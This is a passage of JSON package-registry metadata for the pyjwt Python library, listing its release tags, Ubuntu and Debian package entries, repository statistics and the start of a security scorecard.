b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.143Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/pyjwt?arch=source\u0026distro=ubuntu-23.10\u0026repository_url=https://launchpad.net/ubuntu/mantic","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages/pyjwt/codemeta","maintainers":[],"registry":{"name":"ubuntu-23.10","url":"https://launchpad.net/ubuntu/mantic","ecosystem":"ubuntu","default":false,"packages_count":36642,"maintainers_count":0,"namespaces_count":4,"keywords_count":2223,"github":"ubuntu","metadata":{"codename":"mantic","mirror":"http://old-releases.ubuntu.com/ubuntu","funded_packages_count":444},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:48.636Z","updated_at":"2026-06-10T05:17:48.008Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.10/namespaces"}},{"id":13526415,"name":"pyjwt","ecosystem":"debian","description":null,"homepage":"https://github.com/jpadilla/pyjwt","licenses":"mit","normalized_licenses":[],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-10T22:46:48.496Z","latest_release_published_at":"2026-02-10T22:46:48.496Z","latest_release_number":"1.7.1-2","last_synced_at":"2026-03-14T03:22:53.745Z","created_at":"2026-02-10T22:46:48.315Z","updated_at":"2026-05-29T04:00:36.188Z","registry_url":"https://tracker.debian.org/pkg/pyjwt","install_command":"apt-get install pyjwt","documentation_url":"https://packages.debian.org/bullseye/pyjwt","metadata":{"component":"main","architecture":"all","priority":"optional","binary":"python3-jwt","standards_version":"4.4.1","maintainer":"Debian Python Modules Team \u003cpython-modules-team@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 12), dh-python, python3-all, python3-cryptography (\u003e= 1.4), python3-pytest (\u003e= 3.9.0), python3-pytest-cov, python3-pytest-runner, python3-setuptools","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized 